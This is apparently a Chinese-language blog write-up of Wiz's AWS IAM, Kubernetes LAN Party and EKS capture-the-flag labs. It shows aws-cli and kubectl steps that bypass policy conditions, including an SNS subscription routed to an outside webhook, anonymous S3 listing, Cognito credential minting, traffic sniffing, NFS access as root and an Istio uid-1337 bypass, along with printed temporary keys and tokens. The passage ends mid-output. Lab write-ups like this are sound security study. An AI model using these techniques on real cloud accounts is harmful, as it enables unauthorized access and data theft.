WIZ-IAM

学习云安全,各大云厂商的产品都有些共通之处

借这个 AWS 靶场的机会,学习学习

0x00 Buckets of Fun

We all know that public buckets are risky. But can you find the flag?

题目提供给我们 IAM Policy 如下

IAM: Identity Access Management

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}

Resource 是 arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*
了解到我们可以通过 url https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/ 来访问 bucket 资源

而且给 files/* 配置了 Action 为 s3:ListBucket
可以直接通过访问来获取列举出文件名信息

到这里第一个 flag 就来了
https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/files/flag1.txt

0x01 Google Analytics

We created our own analytics system specifically for this challenge. We think it’s so good that we even used it on this page. What could go wrong?

Join our queue and get the secret flag.

同样给了 iam policy 如下

1
2
3
4
5
6
7
8
9
10
11
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": ["sqs:SendMessage", "sqs:ReceiveMessage"],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}

这里出现了两个我还没了解过的 Action sqs:SendMessage sqs:ReceiveMessage
比起查 wp,我还是更倾向于去查阅官方文档(或者询问 ai)进行学习

sqs: Simple Queue Service 托管消息队列服务

一番查阅之后,得知可以使用 aws-cli 来进行交互
aws-cli 安装教程 https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html
首先需要进行 aws 配置(注册一个 aws 账号才行
然后是如下命令

1
2
3
aws configure

aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
1
2
3
4
5
6
7
8
9
10
{
"Messages": [
{
"MessageId": "9a731184-dd46-411d-9900-9f28fc5be03d",
"ReceiptHandle": "AQEBNqqEvyBmPojhkHO36b5Bi05EXk2sjTnaaanJpL7GXIx+oKG1ZzjQ3u8cgTpmIg1KvAnPtRsVLvjJf6S1tJocHHznS0E4zCefqP5v+4ffO8qQwDpyG+l7ljuI4V+/7/CjWZJj7Bc7We2LNecb3uQJ3qI9gkBGTlQFJQE5/8pdNNhrrMqEOSgrDp2am1sgevpJq4loIxbM7GgVmVDp88MyH1Bl4QwRApPFQJoZKlS80Ff3riqceF+bFH8joraOqpKTc4oHXiNYLZsZPMKof65lStB2Y+RIiFTO39WfShVrXuhQpn6eUGrRztyOHzIk2xGQJwUSK9JReBRymV3Y1p7Q6SMh5ZeEPNhG8URggGVG/yUXbk64UL8GEBNSkbUEJlTYPdAO4tWuj4xB9VtU4HSqlwz9Z53GLjCRzlV7lqK8bGc=",
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
}
]
}

flag 在 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html

0x02 Enable Push Notifications

We got a message for you. Can you get it?

IAM Policy 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}

sns: Simple Notification Service 托管发布/订阅消息服务

看 help 文档构造了一下,结果如下

1
2
3
4
5
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint AWS@tbic.wiz.io

{
"SubscriptionArn": "pending confirmation"
}

试了一下,发现 "sns:Endpoint": "*@tbic.wiz.io" 这是有问题的

如下命令可以绕过,就是正则表达式而已,不会对 url 进行解析判断的

1
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint https://webhook.site/279f5aeb-fc79-4539-9b95-1fbf7493ac2d/\?a\=@tbic.wiz.io
1
2
3
4
5
6
7
8
9
10
11
12
{
"Type": "SubscriptionConfirmation",
"MessageId": "f1bd1ba6-8dd5-4052-aed7-b90f2fddd489",
"Token": "2336412f37fb687f5d51e6e2425ba1f259d6d69878bcbe048b4f189264d5f577afbcd40e86bd49ef15225797cc9c57593fd7b5e51592e0736e5ba7d545409e009794dd0fec22c741119b893267c8e6f451240d4965780a5298ca4ab37d399c82c14ceef236ec6e5cf3aa14bbf2dd08a7e3b4a65a755e0e4741b8ad759699e660",
"TopicArn": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
"SubscribeURL": "https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&Token=2336412f37fb687f5d51e6e2425ba1f259d6d69878bcbe048b4f189264d5f577afbcd40e86bd49ef15225797cc9c57593fd7b5e51592e0736e5ba7d545409e009794dd0fec22c741119b893267c8e6f451240d4965780a5298ca4ab37d399c82c14ceef236ec6e5cf3aa14bbf2dd08a7e3b4a65a755e0e4741b8ad759699e660",
"Timestamp": "2024-08-18T09:53:19.516Z",
"SignatureVersion": "1",
"Signature": "rAYTS+2xMBwV+51edEWKkdPWgztvK7j+VuBRJwfiZCcu25bJwmmD7DflbizPFEvHz3p+1QGoXrRxlHYoIMrzlUItQKDMVXo6rMoxhsj2bgHiOjyOFPORR8dVrAHeYg4J2gpuZJEFJk0/IQDJW0EZRubqYnVgX6m28vLW4LnBtRP20cgxe9iWm+LhaQGKd+0H8/xuHxCUSuLmLe08dCesT7OTQ97Zc356PF2X3PxLvSKVpmxWAjTRvTE4irYboyn9la6GK/b/HFkmXfOisACaFtS5PUjcTAUmi0G7ioe7xxbu9nYUcXf+knUqUpPZIL+ITAkcKWmNpgkpQMM/+WJV2w==",
"SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-60eadc530605d63b8e62a523676ef735.pem"
}

拿到 SubscribeURL,访问这段 url 意味着 confirm
之后 webhook 会收到另一段含有 flag 的消息

0x03 Admin only?

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}

尝试一下

1
2
3
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

需要有点奇淫巧技

此时需要用到更细致的 s3api

实在想不懂,能是什么样子的,于是去看了 writeup

了解到 https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys

也就是说将 PrincipalArn 置空可以绕过

使用 --no-sign-request 来作为匿名用户执行请求

1
2
3
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-08 03:15:43 42 flag-as-admin.txt
2023-06-09 03:20:01 81889 logo-admin.png

或者还可以直接通过浏览器访问(这样也是不会带 sign 的

这里的 prefix 不是从 path 给的,而是通过 get 参数

https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/?prefix=files/

Do I know you?

We configured AWS Cognito as our main identity provider. Let’s hope we didn’t make any mistakes.

这题有关 AWS Cognito

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": ["mobileanalytics:PutEvents", "cognito-sync:*"],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:ListBucket"],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}

这里题目偷偷把 IdentityPoolId 身份池 ID 放到网页前端代码中了

询问 gpt 的相关操作

1
2
3
4
5
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

{
"IdentityId": "us-east-1:157d6171-ee14-cd36-047a-8788f51250c0"
}
1
2
3
4
5
6
7
8
9
10
11
aws cognito-identity get-credentials-for-identity --identity-id us-east-1:157d6171-ee14-cd36-047a-8788f51250c0

{
"IdentityId": "us-east-1:157d6171-ee14-cd36-047a-8788f51250c0",
"Credentials": {
"AccessKeyId": "ASIARK7LBOHXCXWSKNM7",
"SecretKey": "WiRNveYg1JBx9lSK1W76QaFRSEJxL9QOY1NLX0Tb",
"SessionToken": "IQoJb3JpZ2luX2VjECUaCXVzLWVhc3QtMSJIMEYCIQDDK99xsDcJEDxGgSUtfJqsngXCOHM+38zyZ318VqPHeAIhAKJPScFZzXbU/QQDhJqMzt3IEv+FFFPwkSXdoAjLnjykKsgFCC4QABoMMDkyMjk3ODUxMzc0IgxurT/NF1jhby5aLVkqpQWyJIxHQNiMV9FK/WijNS/2tjt9YfSey9a0XtirbJ0vzag6u7jPLHgPIgU9ujmqEY1WMHP05x86mwvJtuDGAIpTHdI+Qs91bnf4pB8d7zs8xBnlNqyflafAaR7XK+m7fccYU5t1uEYkoyZQ8LtVByzB7ldC2sCwe48jeOzUOFDqkh8xU7YkgCzsRwthrfgUG/FfjudNBdXdJOaITQGO4pCPjGnZLDKI+Ey7Mngp6LSV77fCL7omGqaPLnPOC99aJFcw7RFqgbrNwKqK2SSplR5/YLQaAqn+coFV1DMzZ+Hp3FpBhLPeR9Ks1TO9vYnn9T6PzLhgqTuuRZTNJNE3IS4PrTasv5F2Pxh0IwQKx2EZ+jO0lOFUAUEl0kfjYne8n8Ph8hmQxbq09ZEJZJ7herFdyZ4UT0ZfrVwQ7gPz6Y6gk5kfZAO0yZbYy6Q109ru+aQzIcEAPKXqhPUrMcZ37g8DD7pnotkAo5tPpOkBmVbozMQvWDsNwwrCv5G/LqtHxkLfkqCtuprbXPW96G83yisiuure0iXBaPddDNKNFulUR5nf77QwsQCZNQqdpQXEyiFGpWbUlSYh6iHmC5o08C83IMW5b0tqh8gw2/txqmgYemd1YlIH9RfYgDNiAwHykHWm8FbijQM9JOwA7vB/MSacrBEVDTcF2XjT7gZwMRb9+1iRVMZaBJ7864qQ+UnA5eeZkCiRZyh9qOT3CU6NAD7xBOOjo6ESPd3ImnpFg6ueh0Ex33EH/eHLgagb7fUnFF75T9LYz3SqvEfTTjm9t15kVH5HaVklOQgFT+sujGzvCz5JIRm3CM8txDQO6pEMHybH4kL8sGwJRMBoaL3OkOMju0XSwXUGy5OMKiUKe6dmsD6Ra4heUfkXsRRUSSFJqAQwSdxqATC21oe2BjrdAr+lPeonnDx0clSjqH8A1FFMqh8kR0jLXTOmfRw1eDW2ok7+ajV7mZ4VkWTgFjpkKwWJ1HlGLucGmWZASkBfz7dFNFPUGvu886nBLvCHeen3qXHGuUJLFmVhWACXjP9bVvEf0Y/JOavhI8NantU+CalvbA55bTW8qHcBI57SDjPvVabA5+aLEY7wx2aaYowTCdgbwZCDnP+XhCvigqmYTpkk2pNPmb2geUUo/taE/IQc7BgTN6+ifUoNhgD44VtjuSYWKPxybfOhkznNi/kyHKlxf9R58nZvLq7inb51ERoHKC4i/TubvOwz6W8eTn2E+P1xQeUHLazCdLDdzo8I8BrDfQttK2F3UYoUR1hNeEsySD8M5BZtdmQTBaEqB1NvwsGn2PKhktCeMeoa6ydguqzFoggxqL/p0bPoBk9c3KNFJ/MB0XF5l2nNsX4/z+9pTTrOS4qAyZmylsMTPgA=",
"Expiration": "2024-08-18T21:38:14+08:00"
}
}

获取了临时的 aws 凭证进行配置即可

1
2
aws s3 cp s3://wiz-privatefiles/flag1.txt 1.txt --profile test
download: s3://wiz-privatefiles/flag1.txt to ./1.txt

One final push

Anonymous access no more. Let’s see what can you do now.

Now try it with the authenticated

role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}

这里注意到,b73cb2d2-0d00-4e77-8e80-f99d9c13da3b 跟上一个挑战的 id 是一样的,可以推知从上一个挑战延续下来继续利用

但是现在不允许匿名登陆,所以需要借助给定的 role 来实现

1
2
3
4
5
6
7
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

{
"IdentityId": "us-east-1:157d6171-ee1b-c7b5-9a07-71eb7be0ae83"
}

aws cognito-identity get-credentials-for-identity --identity-id us-east-1:157d6171-ee14-cd36-047a-8788f51250c0

这里需要获取 token,需要翻一下 aws cognito-identity help(二货 gpt 还骗我说 cli 没法拿到 web token

1
2
3
4
5
6
aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-ee1b-c7b5-9a07-71eb7be0ae83

{
"IdentityId": "us-east-1:157d6171-ee1b-c7b5-9a07-71eb7be0ae83",
"Token": "eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWUxYi1jN2I1LTlhMDctNzFlYjdiZTBhZTgzIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjM5ODkwNDEsImlhdCI6MTcyMzk4ODQ0MX0.gPWOvNssHihKyUYa7hZoO5L1XrfIZ8fFb2_e1ohpzIOs75reMrdFKaLWbb3oSvvGxMSEQnbf8zc7Z93zjVCOsvzpPiHdAfhAdoriyWROx3Lf49Gh1zMxcTSjP3MJZt3vkhqcf_v9Exo4lIgzdlw_mVRMaqpuUnvn4UVZUZjsIjxGtclANRQtfRvlnZfu276_gYdYa7eAY_bVe1U1njFzAX7ujQ1Wb2IUp3Dqy2LYpEA0fGsV7fe98MoHaiS4PH_avYdX0dnCSRk0bdNdVMm66eB4STYLS99Cdl04TS8AjAmPEAf-wX3p_u1Xx-_aIIWE_BszQN4yN4QlTuXX6yzrQg"
}

接下来是 sts

STS: Security Token Service

1
2
3
4
aws sts assume-role-with-web-identity
--role-arn <value>
--role-session-name <value>
--web-identity-token <value>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"Credentials": {
"AccessKeyId": "ASIARK7LBOHXIOXJTOHO",
"SecretAccessKey": "GEpBCgq/LgTWdSTNVia9DXpPw8rRLYMoptEMMU2A",
"SessionToken": "IQoJb3JpZ2luX2VjECYaCXVzLWVhc3QtMSJHMEUCIQDR7eqFvbHumZfmG4iNfS7U7UI/lvxBUgLL43PjbgDZ1gIgRtM1O/PC3kNSh4QdhuE6ZuP4yChDMh/uxh4wjqR27BgqhgMILxAAGgwwOTIyOTc4NTEzNzQiDB4bFWP0IaW7kmtrYSrjAtH8ru4lL9cwCJuZmZ5zLmstaXkmjrP8+LfDwLw3/+q2IFOgGyVxuNoP1ccjyX7s+75n6o2bTMopRDtd2nxrZL1ocWxWvVtRNJjQU4qZUFYxBZZqR0GaL/NE0LwjWJsyD05XpYofzfzHGeZB/XJW03IlxH9mEJA+LippKOIIeow7u49C9Xivvsf5Q+tO4POk3/RJe6cdsiBhhlJjxuPs8Y+y8bxRRRB9dQHRv3Y5oaQbAyr4z43pH3O+aLi+6oS8H4wMwYIoy/lAroenS8Bq2jGNd53aSZzPHYZs/kRfXCZp6u2XGeUIKCr6Q+t1q39O/DdmKn1s4iaYro1dH7H74mPWWodrW+2Ll9Q/3vBJYv0bFXx8Nk2IS2pW2M3PRJLiAP57fv9IFix5khxBiwvKNybPNuNYqzH+G0xul8m0/Bu98257Bpp1lYnSmGorIe977eZrlFaveZy5cmpHnpfo84j2SVMw7fSHtgY6hwIYcFZ99tQoB+kGkyiNm7SDzelCu3qdq57HAX/wD0sWBOEVzAvupYOjwWyB+QSqOx20hsGwaoisS0oLdasd/+jPuIYu9ITATv/sfcl6JIcdU1m+Gr6IMne5floQX9N1tjSfCEB8b6XsBIilm8VllD/oiM6DrI2MiXPnDvormhMw7uPd1c2S4S0KYAkRMLd5LXqV7nTUM1uP1WMCzYlaIBZGO+N82mdcyipPjnhduZcr6IOPeopAMb4LhWmlBPHzLzUk5rymPMM9peDCUAwpFVRxyZc8k11RnV05sHbapnKoMjRfUoiTAotrAQQuJ/iweQeQV00tPuC7KulEnzUtJOnyjys7KVdaRA==",
"Expiration": "2024-08-18T14:43:09+00:00"
},
"SubjectFromWebIdentityToken": "us-east-1:157d6171-ee1b-c7b5-9a07-71eb7be0ae83",
"AssumedRoleUser": {
"AssumedRoleId": "AROARK7LBOHXASFTNOIZG:telll",
"Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/telll"
},
"Provider": "cognito-identity.amazonaws.com",
"Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

之后可以 ls 获取可能存在的 bucket

1
2
3
4
5
6
7
8
aws s3 ls --profile telll
2024-06-06 14:21:35 challenge-website-storage-1fa5073
2024-06-06 16:25:59 payments-system-cd6e4ba
2023-06-05 01:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 21:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-05 00:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 21:28:31 wiz-privatefiles
2023-06-05 21:28:31 wiz-privatefiles-x1000


K8S LAN Party

最后一关与 kyverno 相关,实在没理解 动态准入 webhook 是什么东西,于是就没往下做

Welcome to the Kubernetes LAN Party! A CTF designed to challenge your Kubernetes hacking skills through a series of critical network vulnerabilities and misconfigurations. Challenge yourself, boost your skills, and stay ahead in the cloud security game.

DNSing with the stars

You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further.

As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have “loaded your machine with dnscan to ease this process for further challenges.

  1. dnscan

dnscan 是调用 LookupAddr 来从 ip 反查主机名
这个不是所有的 ip 都能反查到,一般是 dns 服务器的 ip 才可以(或者说是缓存中查找?
所以给了 dnscan,我们想到的是去查找 k8s 中 dns 服务的域名地址

  1. k8s 网段

翻了一下文件,什么都没看到,但是 env 一下就看到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
player@wiz-k8s-lan-party:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
USER_ID=fa5a935b-423f-4b0f-be27-df279b966bec
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
HISTFILE=/home/player/.bash_history
TMPDIR=/tmp
TERM=xterm-256color
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
HISTFILESIZE=2048
_=/usr/bin/env

突然想到,直接查看 resolv.conf 也可以,但是不全

1
2
3
4
player@wiz-k8s-lan-party:~$ cat /etc/resolv.conf
search k8s-lan-party.svc.cluster.local svc.cluster.local cluster.local us-west-1.compute.internal
nameserver 10.100.120.34
options ndots:5


Hello?

Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.

有边车容器在,此时需要查看网络连接情况

使用 netstat -ano arp -ae 查看

发现 ip 10.100.171.123

dnscan 也可以探测到

此时直接 curl 访问是空的,并不知道路径等信息

但是我们已经有这个 shell,可以直接监控 tcp 流量

1
tcpdump -vv

才做两关就给证书?


Exposed File Share

The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.

这题需要 hint,没有 hint 真不知好做来着

题目描述说的是有数据存储,翻了文件系统发现并没有找到什么凭据
又说是 network-based 直接网络访问就能拿到,所以最终的结论还是指向了 NFS

NFS: Network File System 网络文件系统
EFS: Elastic File System

1
2
3
4
5
$ mount | grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.57.108,local_lock=none,addr=192.168.124.98)

$ df -hT | grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ nfs4 8.0E 0 8.0E 0% /efs

hint 里面还说需要赋予参数,不然无法获取

The following NFS parameters should be used in your connection string: version, uid and gid

这里最后读取 flag 的时候需要写两个斜杠 //flag.txt。。。同时猜测 uid 和 gid 为 0

1
2
3
4
5
$ nfs-ls  'nfs://192.168.124.98/?version=4.1'
---------- 1 1 1 73 flag.txt

$ nfs-cat 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4.1&uid=0&gid=0'
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}

The Beauty and The Ist

Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don’t abuse this power; use it responsibly and with caution.

此处给了 k8s 配置

关键这是 AuthorizationPolicy
Deny 了 POST GET 流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]

hint: Try examining Istio’s IPTables rules.

提醒我们去看 iptables 配置

同时 dnscan 可以发现新的地址

直接访问请求会被禁止,这里对应的 policy,需要绕过

https://github.com/istio/istio/issues/4286
对 uid 和 gid 都为 1337 的用户直接放行

1
istio:x:1337:1337::/home/istio:/bin/sh

只需要 su 切换到 istio 再请求一次就好了(x


Who will guard the guardians?

Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"

看不懂,首先还是 dnscan 来扫描服务

1
2
3
4
5
6
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

EKS Cluster Games

ECR (Elastic Container Registry) AWS 的 Docker 容器镜像存储服务
EKS (Elastic Kubernetes Service) AWS 提供的托管 Kubernetes 服务

Welcome To The Challenge

You’ve hacked into a low-privileged AWS EKS pod. Use the web terminal below to find flags across the environment. Each challenge runs in a different Kubernetes namespaces with varying permissions.

All K8s resources are crucial; challenges are based on real EKS misconfigurations and security issues.

Click “Begin Challenge” on your desktop, and for guidance, click the question mark icon for useful cheat sheet.

Good luck!

Secret Seeker

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

1
2
3
{
"secrets": ["get", "list"]
}

首先还是先收集凭证

1
2
cat .kube/config
cat .kube/config.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
clusters:
- cluster:
certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
server: https://10.100.0.1
name: localcfg
contexts:
- context:
cluster: localcfg
namespace: challenge1
user: user
name: localcfg
current-context: localcfg
kind: Config
preferences: {}
users:
- name: user
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjM3NTcyZTczM2RmZjExYmUyNzIwOTgzNzBhMjgyOGE5MThiNGVmNjYifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcyMzk5MzI3MywiaWF0IjoxNzIzOTg5NjczLCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2UxIiwic2VydmljZWFjY291bnQiOnsibmFtZSI6InNlcnZpY2UtYWNjb3VudC1jaGFsbGVuZ2UxIiwidWlkIjoiYjQyMTc5YTYtMjM4Yi00ZDQ2LThkNjAtNDhkNzRkN2MxNDVlIn19LCJuYmYiOjE3MjM5ODk2NzMsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2UxOnNlcnZpY2UtYWNjb3VudC1jaGFsbGVuZ2UxIn0.TQtjzoOt6irtX7V67-rFY4G_gwNVfwvWuydi37dPv-TEhlIasbklHfVnkPfDOPRtFx4Pm1iIR-6xJqwAgozLG62NkLdwvBBIhIBovzyaBgMkd-l044UcPxdF_hkJ2F8hYS8YfkovO1Mv9a0VR9plxoCwb-CSjR416pwV7a5JRaWbMh0NbOD0mX0D20BJ-P9Fu_6yvTUASVDYZvMjp5Vz59IKgt45rI4WHTAPA3LGtFFl2QsYeOq3CRAuefdRMCSIlTS8H9i8FXPlFKS61NVpo5uDEZo7vaPT4gM3yk05wNTX3SKLSZiKdmyV0o4scdZNI_u2HzK0XoYWsR__ZiwoMA

首先可以尝试 get list 等操作

1
2
3
kubectl get secrets
NAME TYPE DATA AGE
log-rotate Opaque 1 291d

这里需要使用 -o 来输出,不然是没有数据出来的

1
2
3
4
5
6
7
8
9
10
11
12
kubectl get secrets log-rotate -n challenge1 -o yaml
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret
metadata:
creationTimestamp: "2023-11-01T13:02:08Z"
name: log-rotate
namespace: challenge1
resourceVersion: "890951"
uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
type: Opaque

K8s Secret 的安全内容

Registry Hunt

A thing we learned during our research: always check the container registries.

For your convenience, the crane utility is already pre-installed on the machine.

存在 secrets 和 pods

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubernetes.io/psp": "eks.privileged",
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:32:05Z",
"name": "database-pod-2c9b3a4e",
"namespace": "challenge2",
"resourceVersion": "113847456",
"uid": "57fe7d43-5eb3-4554-98da-47340d94b4a6"
},
"spec": {
"containers": [
{
"image": "eksclustergames/base_ext_image",
"imagePullPolicy": "Always",
"name": "my-container",
"resources": {},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"volumeMounts": [
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-cq4m2",
"readOnly": true
}
]
}
],
